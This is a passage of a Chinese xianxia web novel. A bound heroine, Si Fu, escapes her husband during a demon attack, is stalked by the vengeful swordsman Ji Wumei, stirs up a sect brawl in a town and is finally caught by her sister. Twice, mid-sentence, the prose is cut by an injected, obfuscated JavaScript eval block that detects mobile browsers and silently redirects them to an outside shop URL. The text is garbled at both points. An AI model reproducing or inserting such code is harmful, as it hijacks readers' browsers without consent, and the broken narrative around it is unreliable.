他一把擒住姒芙,飞向天际。 脚下是闻声而出的玄善门众,人群间夹杂着数只妖兽身影,数量有数十只之多,远远超过了他们的想象。弟子们奋力抵抗,有些则惊慌失措弃械而逃,场面混乱不堪。 远处,破了个大口子的护山阵外,不停的有妖兽涌入。 姒芙远望一眼,认出几只蛰伏在东山的妖。 她掩下眼中疑惑。 护山阵确实被她动过手脚,做了一道不太明显的漏洞,本是为了用来逃跑,谁知这群东山的妖,被陆之轩带人惹怒过一番后竟然打了回来,还恰恰撞上阵中薄弱处。 没想到留给自己的后路,反而被妖利用,真是凑巧。 数量这么多的妖,定有领头的大妖,若那只大妖有如此智慧,只怕来历不简单。 也不知说她是运气好还是运气差,总归这一回阴差阳错,竟是这帮妖给了她一线生机。 守山阵破,陆之轩此时是真不敢杀她了。 阵眼位于后山禁林,陆之轩拎着她来到禁林中央,把她丢在一座三层宝塔前。 青砖垒砌的宝塔没有任何装饰,只在塔顶放着一颗晶莹剔透的琉璃圆球。 球内七彩光芒已经黯淡,一闪一闪,随时要熄灭一般。 姒芙拍了拍裙角灰尘,“陆少主,你不解我束灵咒,让我怎么给你修阵?” 陆之轩望着禁林外声响处,紧紧捏着腰间玉牌,路上她曾见陆之轩有传讯,但至今未见回音。 许是一直未得回应,又操心宗内妖乱,陆之轩对姒芙更加没了耐心,挥手解了她的束灵咒。 “你莫要再跟我耍花招!” 姒芙无视脖间架上的长剑,一边向宝塔走去,一边笑道:“妾身哪敢呀,妾身命长,可不想落入妖兽腹中。” 掏出一瓶补灵丹尽数服下,脚下一蹬跳上宝塔顶端。 手扶上琉璃球,球内的光芒感知到灵力,胡乱窜动起来。 姒芙一一梳理着里头混乱的阵源,若是此时有阵修在场,便能发现球中逐渐有序的光线里,有一根线略细于其他阵线。 陆之轩幽幽飘到她身前,目光不移地监视着她。 姒芙眉眼不抬,专心致志盯着眼前的阵眼,却在陆之轩拔剑的前一秒,抬手一挥。 霎时,两股灵力冲撞在一起,碎成光屑。 光尘中,姒芙娇笑道:“夫君怎如此性急?妾身还有最后一步未完成呢。” 陆之轩冷哼一声,“若未完成,芙儿为何在暗中催动飞遁的隐风诀?” 话音方落,一道剑光再次袭来,姒芙旋身一躲,然而袖袍仍旧擦到了剑气。 姒芙微微皱眉,没有丹田,她灵力调动得并不顺畅。 “姒芙,你曾经有六重修为又如何?如今丹田无用,真以为打得过我?” 陆之轩口中讥笑,手上不停再次攻来。许是为了快刀斩乱麻,每一击都对准了她的要害。 姒芙挪腾旋转,只能闪躲,陆之轩不给她任何出手的机会。 她银牙暗咬,在他擦身而过之际,猛然洒出一道红雾,可惜没有丹田,这一击并没有想象中的雷霆之势。 陆之轩反应极快,长剑画圆唤出一道风盾相迎,姒芙那软绵绵的一击被吹回身前。 姒芙就地一滚,再要起身忽觉肩膀一痛,陆之轩一脚踩在她的肩头。 他笑得邪肆,剑尖对准了她的眉心,“姒家长女姒芙,死于乱妖之中,你觉得这个死法如何?” 姒芙讥笑:“夫君,你不需要妾身为你玄善门炼器了吗?” 陆之轩笑道:“当然需要,我先砍断你的腿,对外宣布死讯躲避姒家追究,等将你慢慢用尽再杀掉。” 姒芙赞道:“夫君考虑的真周到。” 机会难得,两人都想利用这场妖乱。 眼前长剑再次高举,姒芙掌中蓄力正要迎击,忽而“轰隆”一声巨响,缠斗的两人俱是一怔。 只见本该修复的阵眼宝塔,在两人惊愕的目光中轰然倒塌,碎成了碾粉。 头顶方修复好的守山大阵猛然炸成落花,散碎成细雨,绵绵密密落了下来。 琉璃球骨碌碌滚到陆之轩脚边,亮了一瞬倏地熄灭。 两人一惊。 “姒芙!你做了什么!?” 姒芙也懵然不解,她方才……的确好好修复了阵眼,为了活命,她还不至于继续放更多的妖进来,令她分身乏术。 静谧山林里响起一声甜腻的娇笑,“原来阵眼在这呀!” 尘埃落下,一名双十年华的美艳少女立于废墟之中,笑容晏晏的望着他们。 少女紫发微卷,身着一条华丽碎星短裙,肤如凝脂,特别是一双眼,大而有神,如猫儿一般灵动。 “有你们带路,让我省了不少功夫呢。” 姒芙看向凭空出现的女子,一股巨大的恐惧裹挟而来,浑身血液凝滞,漫上一股噬人的战栗。 月夜下,少女周身散发着肉眼可见的紫色气旋,如丝缎般缭绕在周身。 那是……蓬勃的妖力! 能化人形的妖,至少是八阶以上的大妖! 寻常大妖皆守在妖界自己的一亩三分地里,甚少擅自出现在人间界。 这里怎么会有大妖!? 姒芙望着与人无异的娇美面庞,感受不到大妖的修为和原身,只怕比想象的妖阶更高。 少女无视对峙的二人,一步一步缓缓行来,脚下是被妖力席卷的碎石乱屑,无形的威压将周身一切化成旋转漂浮的碾粉。 大妖恐怖的妖力,压得她几乎喘不过气。 突然,少女皱了皱鼻子,眼神落在她身上,莞尔一笑:“嗯?你好像……有些意思,陪本座玩一玩可好?” 一双笑眼宛如深渊冰冷的锁链,裹挟住姒芙动弹不得。 她从未见过如此强大的妖。 少女两手一背,如天真无邪的小姑娘般,兴致勃勃道:“陪本座玩一玩,我考虑让手下那些小东西们少吃些人,怎样?很划算吧?” 陆之轩惊惧的神色一顿,转而看向姒芙,眼里闪过一道灼热的亮光。 求生的本能猛然挣脱恐惧枷锁,姒芙理智瞬间回笼,倏地化成一道红光,转身就跑。 她不知这只莫名其妙的妖怎么就盯上了她,但她根本不是她的对手,只能先逃! 身后有风声传来,向后一瞥,姒芙本以为是妖,谁想竟然是阴魂不散的陆之轩! 而那只妖,前走了几步忽而停住脚步,站在原地远远笑望着她,眼里闪烁着奸计得逞的惬意。 姒芙无暇深想,方才吞下的补灵丹经过几次争斗,加上运转掉大量灵力逃遁,几乎所剩无几。 疾飞数里穿过玄善门领地,身后的陆之轩依然穷追不舍,数道灵光锁链飞来,她勉强躲过,只觉体内愈发空虚。 一咬牙,落在山外一条河边,刚取出一瓶补灵丹就被一剑挑飞。 “陆之轩,你疯了吗!为了抓我抛下门中众人!” 陆之轩一脚将她踢翻,姒芙青丝散乱,险些滚入河中,肩膀一疼他再次踩住了她,阴邪道:“无人是那妖的对手,可那妖不是喜欢你?那我便抓你祭妖!” “妖的话你也信!看不出她是故意的吗!” 掌心红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367021|197838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光向他脖颈卷去。 他微微侧头一躲,打下一道束灵咒,姒芙顿时灵力凝滞。 “无论真假,姒芙,跟我回去,你可是我的宝贝,救我玄善门的宝贝。” 他跟魔怔了一样,眼底的贪婪浓烈得令人作呕。 姒芙眼睁睁看着那只向手她靠近,仅余半寸远。藏在手中的黄符一烧,姒芙猛然击向他的丹田。 一声闷哼,陆之轩唇角留下一丝鲜血。 “你……” 姒芙正要续上一掌,忽听“噗嗤”一声,有什么突然自背后穿透他的胸膛,停在她鼻尖一寸远。 月光探出云头,照清眼前之物,竟然……是一根树枝,一根普通光滑的树枝。 枝头鲜血一滴一滴,缓缓滴落在她胸前,而身前的陆之轩,体内似有什么东西在乱窜,自树枝处游过四肢百骸直到咽喉,他猛地喷出一大口鲜血。 那一口血里仿佛含着他的魂魄,长剑脱手,颓然倒下,气息断绝。 四重修为的人,被一根树枝……刺死了? 姒芙惊骇回神,再一抬眼,陆之轩倒下的身后,静静立着一个人。 那人长身玉立,墨发无风飞舞,清冷的月色铺陈在精致的五官上,衬得他如银月中的无尘仙人。 雪色长袍缀着星星点点的红梅血渍,深浅不一,给这月中仙点出几许诡异的妖冶。 “寂……无寐?” 来人清浅一笑,望了眼天色,仿若闲谈一般温声道:“时辰刚好。” “你……没死?” 原本恬静闲适的人,恍然一笑,目光徐徐落回姒芙眼中,眸光泛着轻微涟漪。 “是啊,我本该死了。” 他款步踱来,金丝鲛皮靴踏过脚下残血,哧哧有声。他蹲下身凝望着她,长袍带起一阵轻风,姒芙闻见他身上浓烈的血腥味。 他倾身向前,离她不过一拳距离,“你将陆琮引来,我本该死在他手上。” 姒芙浑身一凛,“寂无寐,我不知……我……我本是想让他将你赶走。” 寂无寐低笑一声,“莫怕,我等的就是他,可陆之轩那个废物非要将我藏起来,还是芙儿知晓我的心意,将我送了过去。” 姒芙迷茫了一瞬,她以为她不小心害了寂无寐,实际上却是给他行了方便? “那陆琮……” “放心,他死透了,我将他的心脏碾碎了。” 陆琮……也死了?死在寂无寐手上? “负我者,死在我手里,死得其所。” 姒芙混乱的思绪顿时清醒,难道一切都是寂无寐的算计?救下陆之轩,藏身飞东城,难道是为了杀陆琮?可是陆琮有六重修为,寂无寐怎么有自信一击毙之? 他到底是什么人? 姒芙惊惧的心还未落下,他又幽幽开口:“可是芙儿啊,你的心又落在何处?” 长指点在她心口,姒芙感受到一股冰冷刺骨的寒意。 “你问我为何没死?我也想问,我本该死了,早就死了,应该死在诛邪之战中,死在你最敬爱的宗父手上?” 姒芙心口骤缩,半晌不敢动弹。 “我……”姒芙百口莫辩。 他又道:“或者死在……你拿我试药试器整整三年的痛苦折磨之下?” 姒芙浑身僵硬,他知道?他竟然知道?他什么时候知道的? 他眼中泛着冰冷的柔光,“你本就无意救我,我几次因你险些没了命,芙儿,你说这笔账,怎么算?” 怎么算?耳畔回荡着方才那句“负我者,死得其所”,她是他仇人姒家的后嗣,姒洄最得意的门生与子弟,跟他有着不共戴天的血仇。 他笑意缱绻,轻轻问:“我该不该杀了你?” 她终于明白,寂无寐的出现,步步为营,是来讨债的! “寂无寐……我……从未想过害你性命。”姒芙苍白无力辩驳了一句。 “是啊,论迹不论心,你未真正伤害过我,”寂无寐叹息一声,烦恼道:“你欺骗我、愚弄我,一次又一次抛弃我,可又阴差阳错救我多回。” 姒芙闻言心口松了稍许,又听寂无寐道:“你知道有多疼吗?刀入肌理,药入骨髓,慈悲面下是干脆冷酷的利用,那钻心的痛和彻骨的仇,回想一次又一次的救治,好似成了荒诞的笑话,我在死亡边缘不断徘徊,反复无常的濒死痛苦仿佛在提醒我,”他眼眸深沉,晦暗不明:“提醒我不能优柔寡断、轻易放过你。” 他脸上依旧是如雾一般的笑意,可在姒芙眼中,犹如索命的邪鬼。 她一生跌宕,却从未见过这个表面温润实则果决弑杀的恐怖之人,披着人皮行走在烈日之下,里头全是阴暗见不得光的算计与飘忽不定的疯魔。 他缓缓捡起脚边陆之轩的长剑,冰冷的剑叶在她脖间虚晃而过,森寒的杀意毕现,她额上落下一滴冷汗。 她见识过他的剑,快而无形,寂静无声,眨眼断人生机。 她在他面前,弱得如随风荡漾的落雪,只能引颈就戮。 忽然手中一暖,那柄杀人的长剑,被塞入她的掌心。 寂无寐握着她的手,如在冒儿山时教她使刀那般,徐徐牵引着她。 自然的动作在她眼中慢放,濒死的绝望让她忘了反抗,无力等待寂无寐的复仇。 “芙儿,我这条命是你捡回来的。” 却见那把剑架在他脖颈上,锋利的剑叶霎时在雪白肌肤上划出一道血线。 清浅笑眸下是森然鬼气,“送你个机会,要不要收回这条命,杀了我这个……至死也要缠着你的仇敌?” 19.暗浪涛涛轻舟摇 姒芙怔然望着眼前温柔的笑意,遍体生寒。 这是个疯子,十足的疯子! 握剑的手不住地颤抖,寂无寐倾身凑近,脖颈擦着剑叶,姒芙下意识将剑挪开两分。 他漆黑的眼底闪过一色墨绿暗芒,“芙儿,这是我给你的最后机会。杀了我,还是跟我走?” 鼻尖萦绕过一股醉人的香气,姒芙呆呆盯着他脖上缓缓流淌的鲜血,失神一瞬。 颤巍巍抬起手,下意识要抹去他脖间残红。 忽然一个醒神,看着眼前笑容渐深的寂无寐,姒芙垂下眼,眼中掉落几滴晶莹,“寂无寐,你又在试探我吗?” 他没有正面回答,轻柔擦拭着她的泪水,“要不要杀我,嗯?” 握剑的手被他攥得紧,几乎捏碎她的指骨,语中和风细雨,仿佛在问要不要吃为她买来的甜糕。 他说的没错,他们势不两立,她要摆脱他,就该一劳永逸斩了他。 可她止不住在害怕,她不知自己在怕什么,只知这个疯鬼即将击溃她的心防。 于是只能哭,“寂无寐,我……” 她嘴唇开开合合,无声低喃。 寂无寐靠了过去,忽而寒光一闪,血光飞溅。 剑光散尽的那一刻,姒芙望着停立在两步之外的人,心底再无波澜。 衣袂翩然落下,他勾唇一笑,笑得极为灿烂,“芙儿,你的剑为何会偏?” 他缓缓抬手,欣赏着手腕上一寸长的伤口,“我教过你,只要有机会定要一击必杀,可你剑的方向,怎偏离了这么多?” 姒芙盯着自己持剑的手腕,默了一瞬,抬头冷冷问:“你现在到底什么修为?” “其实我也不知道,”他拍了拍胸口,“毕竟,塑月刚被我纳入,还不能自如的使用它。” 姒芙双目大睁,不可置信!他怎么知道的?怎么知道塑月需要融进体内? 似不忍见她这惊怔崩裂的神色,寂无寐道:“芙儿,我曾与你提过,中州之地通晓百家的,不止你一人。” 姒芙不由后退半步,“你……你到底是谁?” “我啊,”他笑容浅浅,眸光明灭,“我只是个小剑修,我可没有骗你。” 她信他个鬼! 她终于将所有事情串联起来,分别两载他凑巧出现,只为借陆之轩的手寻到她,骗得塑月恢复修为,又能通过他们找到陆琮,报仇雪恨。 一步一步环环相扣,精妙绝伦,如今他费尽心思带走她,定不仅仅是为了塑月,更是因为她背后的宗父、他的仇人——姒洄。 也许还有更多的算计,他心思太深,掩饰太真,她看不透彻。 可方才她怎么就没狠心杀了他? 难道被那丝血气迷惑了? 寂无寐悠悠迎上一步,洋洋朝她伸手,“你没有选择杀我,过来,跟我走。” 河风呼啸扫过,月儿又藏进了云头。 光影暗下的一瞬,姒芙猛然向地下拍入一枚赤色圆盘,脚下瞬间长出无数条血棕色荆棘,一把将前方的寂无寐缠住。 趁他被束缚,姒芙跳入身后河流,湍急的河浪一下将她推出老远。 跟他走?她怎么可能跟他走! 想想陆琮,想想陆之轩的下场,她利用他,抛弃他,这个人眦睚必报,她就算不死,也会被他折磨得生不如死! 她看不懂他,但潜意识在告诉她,她必须远离他,远离这个危险的疯子! 她藏在暗流中顺着浪潮逃遁,忽而周身的河水蒸腾翻滚,一股巨力将她与河水炸起老高。 河水如雨雾洋洋洒下,半空中,她望见寂无寐手捏一根断裂的荆棘,轻轻掸了掸衣袍上的断枝,笑意盈盈盯着她。 姒芙再不犹豫,唤出一只鸟形木雕,捏碎三瓶补灵丹,木雕瞬间变大,竟是一只大鹅模样的木鸢。 姒芙跨上它的那一刻,已纵飞百米远。 身后,寂无寐阴魂不散的声音回荡在空旷天际。 “姒芙,你逃不掉的。” 逃不掉?不试试怎么知道?只要逃去大城池,隐入人海,她不信寂无寐能轻易找到她! …… 天光破晓,姒芙吸纳的三瓶补灵丹因不是直接服食,有一半喂了山川。 灵力耗尽,身下这只名为“飞得快”的木鹅也消耗甚大。 估摸着应该甩开寂无寐老远,正巧闻见下方城池飘来的袅袅炊烟,她奔波了一整晚,饥肠辘辘。 自没了修为,她也需跟常人一样吃三餐五谷,算算纵行的距离,降落在城外。 收好一干法器,想了想,从怀里取出一个面具遮住上半脸,才不紧不慢向城内行去。 城门口不远处有家面馆,姒芙点了两碗牛肉面,坐进大堂角落。 面馆里生意不错,人满一半,打量了一圈,姒芙微微皱眉。 这个偏远小城,怎么突然来了这么多修士? 小二吆喝着端上热腾腾的牛肉面,对于这个戴着面具的客人见怪不怪,笑吟吟道:“面要是不够,本店免费续,客官尽管吩咐小的便是。” 姒芙习惯性地摸了一小块碎银打赏,小二面上一喜,笑呵呵退下了。 中州许多修士为了隐藏身份,经常会戴面具出行。各家也有易容术,然而并不保险,唬唬老百姓可以,只要有人修为比易容之人高,一眼就能看穿,所以遮面的寻常物事反而更安全。 虽挂着面具,姒芙一个人坐在角落并不惹眼,安安静静吃着热食。 两口面刚下肚,就听邻桌一名腰挂大刀的汉子,呼噜着面汤跟旁人抱怨:“咱们这紧赶慢赶,就是到了玄善门也来不及,昨夜我收到传信,那里头窜进去了三四十只妖,有一半是四阶以上,等咱们过去还不知道里头剩几个活人。” 旁边的同门道:“门派下达了任务,总不能过于敷衍了事。” “咳,都什么事啊!你说奇怪不奇怪,东山上什么时候藏了这么多妖?” “西境靠近妖界,本就玄乎。这次事情闹得有些大,天渊盟半夜发布了召集令,各大宗门世家收到信都派了人,还不知道能救回多少。” “听闻门主和少门主都失踪了,门内修为最高的人都没了,这玄善门救下来也形同虚设。” 同门低下声:“你瞎操什么心,说不定是好事。玄善门名声不好,要真摘了宗门牌匾,辖地会分割给周围其他宗门,说不定百姓在其他门派手下还能好过一些。” 大汉想了想没有反驳,叹了口气,唏嘘道:“也是,若非玄善门依附姒家,以他们的所作所为,天渊盟只怕早就收拾他们了。” 同门嗤笑一声,“你也莫把天渊盟想得太好,他们只是中州各大门派世家建立的联盟,说到底还是看大门派和世家的眼色行事。” 大汉挠了挠头,乱糟糟的头发成了鸟窝,“这些宗门世家盘根错节,真是麻烦,就不能把心思花在除妖上?” “得了,我们只是小门派的弟子,这不是我们考虑的事情,吃完没?吃完还得继续赶路。” 两人说着放下数枚铜板,大汉话多,走出门还闲扯个没完。 姒芙听了半耳朵,沉默吸溜完一碗面,空空的胃袋里只填满一半,捧起面碗时,对面坐下来一个人。 早食馆子里拼桌的人海了去了,她并未在意,刚喝下两口鲜香的面汤,另外一碗满满的牛肉面被人推到眼下。 略一抬眼,手上的半碗汤险些撒了满身。 “小心些。” 一人扶住了她的手腕,指腹跟他脸上的笑容一般温热。 可姒芙只觉得彻骨寒冷。 面汤在碗里晃荡了一下,寂无寐贴心帮她取过手中面碗,姿态闲雅靠坐在桌案边,好整以暇凝视着她。 他怎么……怎么这么快就追上来了?他怎么找到她的!? 见她不动,寂无寐示意剩下那碗面,笑道:“吃吧,总不能饿着肚子赶路。” 姒芙所有话都堵在了喉咙口,哪里还吃得下。 惊惧过后,她略沉下心,只是没了食欲。 寂无寐在旁如清风一般跟她闲聊着:“一会想去哪?城中逛逛?还是继续往中原赶路?” 姒芙不吭声,开始专心致志挑着面条。 “我方才听闻城中有家铺子的桂花糕不错,要不买来给你尝尝?” 他送她吃桂花糕,糕里不会掺毒吗? “我不爱桂花。”姒芙面无表情回了一句。 寂无寐恍然,“看来我对你了解不够,芙儿还讨厌什么,一并告诉我,可好?” “你。” “嗯?” 姒芙把筷子一搁,冷冷看向他,“寂无寐,我讨厌你!” 寂无寐笑了,“这我可没辙,只能辛苦你适应适应。” 他不知从哪里掏出一方素白巾帕,擦拭她手背沾上的油汤,“毕竟,咱们还要相处很长一段时日。” 亲昵自然的动作,莫名让她回想起冒儿山相处的光景,那会的寂无寐行动不便,她对他的照顾可谓细致又妥帖。 如今他悉数还了回来,只让她如芒在背,仿佛在提醒她那些年的别有用心。 “寂无寐,你为什么不杀我?你到底想做什么?” “不是给你机会杀我吗?可你手下留情,那我只好留你一条生路。况且死太简单,将你杀了有些可惜。”他动作未停,脸上少见地出现了一丝困惑,“至于想做什么……其实我也未想明白,该将你关起来,将原来治疗我的那些痛苦法子悉数在你身上使用一遍?可又觉得你承受不住。” 姒芙手指冰冷,他轻柔地捂了捂,“莫怕,我想了许多,觉得这样对‘救命恩人’不大厚道。” “你不如给我个痛快!” “不着急,我没想好如何处置你,先把你留在身边。”他笑看向她,眼眸深深,“总归,就是不想放走你。” 姒芙抽身而起,剩下这半碗面注定吃不下了,她现在只想出去透透气。 大街上行人如织,她漫无目的闲逛,身后是甩不掉的脚步声,如影随形。 姒芙盘算着怎么再次摆脱他。 她无法确定寂无寐的修为,更难以判断塑月为他恢复到什么程度。 毕竟,她改造的塑月还不够完善,只知融入体内的一瞬间能爆发惊人灵力,之后修复经脉的过程却缓慢。 捡回寂无寐时,他经脉尽碎,如今看似痊愈,算着时间也应该留有不少陈年暗伤。 他既然这么执着于塑月,想必那些暗伤也未好透。 日光大盛,头顶不时有疾风掠过,此城是连通西境的要道,皆是赶去玄善门的各类修士,城中还滞留了不少。 姒芙方经过一座客栈,忽见前方街道上围了好些人。 身旁不知何时戴上一张白色小狗儿面具的寂无寐,与她攀谈的话语也停了。 她目光在人群扫过一圈,笑了。 围成桶的百姓中央,一名贵公子正与一群修士争执,身后还站了一堆青衣弟子。 两波人马一方着青,一方穿白,看衣上纹路样式,是虚云宗与青冥宗。好巧不巧,三大宗门占了两。 贵公子拉着身后青冥宗弟子,面色愤然,对前方虚云宗弟子大声道:“这莫方丹明明是我送给他的,你凭什么说是他偷的?” 三大宗之间表面交好,然而虚云宗与青冥宗同为剑修门派,弟子之间互相不服,私下小摩擦不断。 站在头前的一名长脸虚云宗弟子冷笑:“我昨日跟他吵了一架,今日就丢了丹,恰巧还是价值千金的莫方丹,他一个刚入门的内门弟子,哪里买得起这么贵重的丹药?你说是你送的,如何证明?” 贵公子气得面色涨红:“这丹药上又没写你的名字,况且,我祁言阙亲自炼的丹,怎么会不认识?” 贵公子正是丹药世家祁家有名的二世祖——祁言阙,与姒芙同辈,炼药水平一般,但交友手段了得,在中州也算混得风生水起。 长脸弟子无赖道:“你认识又有何用?上头也没写你的名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377724|197838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。” 祁言阙顿时被堵得哑口无言,谁会在丹药上刻自己的名字?跳着脚怒骂:“你空口白牙污蔑人,虚云宗都是你这种作派?” 他着实不太擅长吵架,身旁青冥宗弟子拉住几欲爆起的祁言阙,劝道:“别跟他争,前段时日我降服了伤他的妖兽,他气不过,是故意来找茬的。” 祁言阙恍然大悟,撸起袖子,“原来是技不如人,想打架就打啊,找什么借口污蔑人?来!我跟你较量较量!” 话毕,两堆弟子纷纷抽出长剑。 “祁言阙!” 一触即发之际,一个戴着面具的小女修拨开人群挤了进来。祁言阙眯着眼打量着这名不速之客,小女修却熟稔的攀上他的肩。 “祁二,是我啊。” 祁言阙立马认出她的声音,吓得跳了起来:“姒……” 姒芙迅速捂住他的嘴,小声道:“别,可别在大街上喊我名字,不然我将你泄露家传绝学的事抖落出去。” 祁言阙又气又恨,咬着牙点了点头。 姒芙如好友一般问:“你这行侠仗义的毛病怎么还没改?虚云宗与青冥宗的矛盾,你掺和什么?” 祁言阙虽不待见姒芙,却跟她相识多年,愤愤道:“是他虚云宗欺人太甚,这位青冥宗弟子帮过我,我总不能袖手旁观。” 姒芙瞟向前方虚云宗弟子,他抱臂而视,许是身后有师兄弟撑腰,神色傲然。 看他腰间云纹坠饰,是内门子弟。 有点麻烦。 但是她现在需要麻烦。 姒芙勾唇一笑,跟祁言阙道:“不过是一瓶丹,他想要,给他便是。” “那是莫方丹!我炼一个月才得一颗,你当是满大街的金疮药呢!” 姒芙眼珠儿一转,从储物袋掏出一大把上品灵石,霎时大街上灵气四溢。 数了五十颗,笑意盈盈举在长脸弟子面前,满满一捧灵石把那弟子眼睛都看直了。 “五十块上品灵石,够不够买你一瓶丹?” “够……够的。” “道友不可!”青冥宗弟子见状忙要阻止。 她笑得愈发灿烂,对长脸弟子悠悠道:“小误会,钱财便可化解。” 财大气粗就要倒在他掌心,弟子喜不自胜,忽而姒芙妙目一凝,“话是如此,可我啊……偏不愿便宜你这卑鄙之人!” 扬手一挥,五十枚上品灵石如天女散花洒向空中,偏就那么凑巧,大半洒在人群中的寂无寐身上。 周围看戏的修士们惊呼一声,霎时飞身抢夺,落了满身灵石的寂无寐顿时被团团围住。 “你耍我!” 长脸弟子见被愚弄恼羞成怒,抽剑刺向姒芙。 姒芙轻巧旋身,直往寂无寐身后躲,虚云宗众人见状皆上前帮忙。 姒芙扯着寂无寐娇唤一声:“哥哥救我。” 长脸弟子闻言大喝:“他们是一伙的!”说罢一群人的剑转了方向,招招指向寂无寐。 寂无寐沉默不语,闪转腾挪,却并不出手,姒芙见状笑意更深。 她虽猜不出寂无寐的身份,但他擅长使剑,青冥宗和虚云宗是剑派大宗,对所有门派剑招路数了如指掌,只要他出手,熟悉的人便能瞧出他来自哪门哪派。 陆之轩不是提过吗?当年寂无寐被陷害之事有几方参与,以他谋定而后动的作风,修为未恢复前怎会暴露? 于是她刻意试探,寂无寐被逼成这样都不肯出招,果然是怕被人认出来。 反倒方便了她。 虚云宗一动,青冥宗弟子们也持剑迎上,两处人打做一团,剑光乱飞,伴随着抢夺灵石的修士们,街道乱成一团糟。 而寂无寐轻巧躲闪又不肯回击,看在他人眼里成了无声嘲讽,更加激怒了虚云宗弟子。劈去的剑光逐渐染上一分杀意,愈发密集。 姒芙趁乱不着痕迹步步后退。 “姒芙!” 混乱中祁言阙反应贼快,一把扯过她就跑。 他一边跑一边数落她没了修为还惹祸,将她拽出乱战的人群,一股脑跑出去老远。 姒芙回望一眼,被缠得分身乏术的寂无寐目光飘来,笑容包容又缥缈。 他无声说了三个字。 “一会见。” 姒芙算计得逞的喜悦霎时烟消云散,心中惴惴。 他莫不是喜欢上了猫捉耗子的戏码? 祁家人擅长炼丹,逃遁也是一把好手,不过几个眨眼,姒芙跟着他避开人群躲入一处暗巷。 “你干的好事!” 祁言阙责骂的话还未说完,身子一软,倒在地上。 姒芙缓缓收回手,将地上之人摆了个舒服的姿势,歉然道:“下次再跟你道歉。” 她正要唤出大鹅“飞得快”,忽然背后飞来一道剑气,慌忙就地一滚。 抬眼一瞧,竟是那名虚云宗长脸弟子追了过来。 “往哪里跑!” 他长剑一挥,又一道剑气朝她脑门射来。 姒芙侧身避开,“轰”的一声,剑气击碎身后的院墙。 墙后是一座富贵人家的大宅,姒芙想也不想顺势冲了进去。 那弟子远远念咒,剑尖飞出一条火龙。 姒芙刚藏入就近一间屋舍,火龙紧追着砸了下来,将小屋砸得粉碎。 脸上的面具因躲避掉在地上,姒芙咳了两声,余光瞥见远处长脸正要上前来抓,突然不知看到什么,面上一惊。 他愣了一息,猛一收剑转身……跑了? 这转变速度快得令人猝不及防。 姒芙还未弄清怎么回事,一道冷气刮过面颊,垂眼,一把锃亮的大刀倏地架在她脖颈上。 她微微仰首,乱石堆里,一名貌美如花的少女,捏着比她人还高的龙骨金刀,笑眼弯弯盯着她。 眼里闪烁着前所未有的兴奋。 粉唇微启,声音悦耳动听, “呀,这不是我那遍寻不到的……嫡亲姐姐吗?” 20.风急雨疏同路行 姒芙惊讶一瞬,瞬间又恢复平静。 沉重的大刀在少女手中如无物,她蹲下身仔仔细细打量着她,笑道:“好姐姐啊,你怎么在这,还这么狼狈?”看着她一身凌乱,满眼嫌弃:“你一个姒家贵女,怎穿的这么寒酸?还被一个剑门小弟子追得抱头鼠窜?” 姒芙默默拂去身上尘埃,“你怎么在这?” “我怎么在这?”少女娇俏一笑,“那得问你了啊,我的好姐姐,你难道不知道?五日前家主下达最高级别的天司令,要抓你回去。” 姒芙一顿,“五日前?” 五日前玄善门还未事发,她还好好当着名不见经传的少主之妻,家主怎么会突然不顾结盟,下达天司令来抓她? 见她疑惑不解,少女乐不可支:“阿姐,你隐瞒经脉恢复的事被人传回族中,家主震怒,族老们更是气的跳脚,要抓你回去是问呢?” 回想起家主收到消息时的场景,少女笑容滞了滞,打了个寒颤。 当日议事堂中,族老们聚在厅中火冒三丈,有怒骂姒芙的,有对此消息持怀疑态度的,更有好事者打马后炮,讽刺当年轻易把姒芙送嫁的。姒家势大,族老们之间多有龃龉,本是商讨如何处置姒芙的严肃议事,却演变成啼笑皆非的互相攻讦。 而家主静坐在高位,手中的金宸玉令牌在众人吵闹声中,悄无声息化成霜水。 当族老们发觉不对时,偌大的议事堂已被家主冰冷的灵气融掉一半,四堵房墙半塌,鹅毛大雪寂然无声落满青砖。 须臾之间无声无形化物为水,却没感觉到丝毫灵气波动。 原本吵得起劲的族老们,第一回感受到九重修为的恐怖,吓得纷纷跪地噤若寒蝉。 家主从始至终斜坐在太师椅中,眼神凝在身侧案几一枚铜镜上,平静得可怕,直到镜面积了厚厚一层堆雪,他才声无波澜开口:“下天司令,活捉姒芙。” 语音落下,铜镜也成了融入雪堆里的一滩水。 少女抹了抹手臂上的鸡皮疙瘩,凑到她脸前,幽幽道:“我这是第二次见家主这么生气,第一回还是你丹田被毁的时候。” 见姒芙沉默不语,少女叹了口气,嗔怪道:“你怎就这么不小心?把家主惹怒,你可知现在活捉你的悬赏金有多少?” 少女比了三个数,姒芙愣愣问:“三千灵石?” 少女摇了摇头,“三万,三万成色极好的上品灵石。” 姒芙神色一滞,少女笑道:“可见家主这回气得有多狠,那可是三万上品灵石。好姐姐,你落在我手上,我岂不是要发财了?还能在家主面前立一件大功。” 面对她的威胁,姒芙不为所动,整理着凌乱的衣襟,转而问:“这次你跟谁一起出来的?” “四哥,”少女回,“四哥跟你关系不好,若是知道你在这里,只怕后悔自己太过着急,一大早带着一帮子人去玄善门找你。” 姒芙缓缓挪开脖上的刀,“那这里只剩你一个人?” 少女遗憾道:“是啊,我睡过了头,他们丢下我先走了,但我一个人抓你也够了。” “行了,别演了,我给过你的灵石岂止三万,先把这讨人厌的玩意拿开。” 